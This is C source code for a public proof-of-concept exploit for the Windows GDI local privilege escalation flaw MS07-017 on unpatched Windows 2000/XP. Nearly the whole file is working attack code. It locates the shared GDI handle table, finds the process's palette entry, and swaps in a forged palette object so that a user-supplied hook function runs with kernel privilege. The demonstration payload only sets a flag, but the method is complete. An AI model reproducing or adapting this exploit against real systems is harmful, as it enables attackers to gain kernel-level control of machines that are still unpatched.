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/*
GDI Local Elevation of Privilege Vulnerability Exploit (MS07-017)
Coded by Lionel d'Hauenens
http://www.labo-asso.com
Development:
------------
Dev-C++ 4.9.9.2
Linked with /lib/libgdi32.a
References:
-----------
http://www.microsoft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://www.milw0rm.com/exploits/3688
http://ivanlef0u.free.fr/?p=41
March 16, 2007
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
typedef enum _SECTION_INFORMATION_CLASS
{
SectionBasicInformation,
SectionImageInformation
} SECTION_INFORMATION_CLASS;
typedef struct _SECTION_BASIC_INFORMATION {
ULONG Base;
ULONG Attributes;
LARGE_INTEGER Size;
} SECTION_BASIC_INFORMATION;
typedef struct _GDI_TABLE_ENTRY
{
PVOID pKernelInfo;
WORD ProcessID;
WORD _nCount;
WORD nUpper;
BYTE nType;
BYTE flags;
PVOID pUserInfo;
} GDI_TABLE_ENTRY, *PGDI_TABLE_ENTRY;
typedef DWORD (WINAPI* NTQUERYSECTION)(HANDLE, ULONG, PVOID,ULONG,PULONG);
NTQUERYSECTION NtQuerySection;
#define INT3 asm (".intel_syntax noprefix"); __asm ("int 3"); asm (".att_syntax noprefix");
#define STATUS_SUCCESS 0
#define PAL_TYPE 8
DWORD flag_test;
hook (HANDLE pal, COLORREF couleur)
{
// INT3
// Executed code with kernel privilege
asm (".intel_syntax noprefix");
__asm ("cli");
// it's the fiesta !!! :)
__asm ("sti");
asm (".att_syntax noprefix");
flag_test = 1;
return (TRUE);
}
int main(int argc, char *argv[])
{
SECTION_BASIC_INFORMATION SectionInfo;
PGDI_TABLE_ENTRY pGdiEntry;
PLOGPALETTE pLogPal;
HANDLE hPal;
PVOID OriginalPalObject;
PVOID FalsePalObject;
HANDLE hThread = GetCurrentThread();
DWORD OriginalThreadPriotity = GetThreadPriority (hThread);
HANDLE hSection = (ULONG)0;
PVOID MapFile = 0;
HANDLE hProcess = (HANDLE)0xFFFFFFFF;
WORD Pid = GetCurrentProcessId();
NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection");
printf ("##########################################################\n");
printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n");
printf ("# All Windows 2000/XP before MS07-017 patch #\n");
printf ("##########################################################\n");
printf ("# coded by Lionel d'Hauenens http://www.labo-asso.com #\n");
printf ("##########################################################\n\n");
// Search handle section and mapper in virtual memory of user
while ((DWORD)hSection<0xFFFF)
{
SectionInfo.Attributes = 0;
MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (MapFile)
{
NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);
if (SectionInfo.Attributes == SEC_COMMIT) break; // For compatibility with win2k
UnmapViewOfFile(MapFile);
MapFile = 0;
}
hSection++;
}
if (!MapFile)
{
printf ("Could not found shared section !\n");
exit(0);
}
// Create Palette
pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);
pLogPal->palNumEntries = 1;
pLogPal->palVersion = 0x300;
hPal = (HANDLE)CreatePalette(pLogPal);
if (!hPal)
{
printf ("Could not create palette !\n");
exit(0);
}
// Search the entry of pal object
OriginalPalObject = (PVOID)0;
pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;
while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)
{
if ( pGdiEntry->ProcessID == Pid &&
pGdiEntry->nType == PAL_TYPE )
{
// Save original pointer
OriginalPalObject = (PVOID)pGdiEntry->pKernelInfo;
break;
}
pGdiEntry++;
}
if (!OriginalPalObject)
{
printf ("Could not find entry of Pal object !\n");
exit(0);
}
// Create the false Pal object
FalsePalObject = (PVOID) calloc(0x100/4,4);
((PDWORD)FalsePalObject)[0] = (DWORD)hPal; // Handle
((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1; // Availabled flag
((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex
printf ("Section:\n--------\n");
printf ("Handle: 0x%08X Attributes: %08X Size: 0x%08X\n\n", hSection
, SectionInfo.Attributes
, SectionInfo.Size.QuadPart);
printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject);
printf ("Address of user map: 0x%08X\n", MapFile);
printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject);
printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );
printf ("Address of Hook(): 0x%08X\n\n", &hook);
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
printf ("->Test...");
flag_test = 0;
SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST);
// Active false Pal object
pGdiEntry->pKernelInfo = FalsePalObject;
GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :);
// Restore original Pal object
pGdiEntry->pKernelInfo = OriginalPalObject;
SetThreadPriority (hThread,OriginalThreadPriotity);
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
if (!flag_test) printf ("ERROR !!!\n");
else printf ("OK :)\n");
UnmapViewOfFile(MapFile);
DeleteObject ((HANDLE)hPal);
free((PVOID)pLogPal);
free((PVOID)FalsePalObject);
system("PAUSE");
return (0);
}
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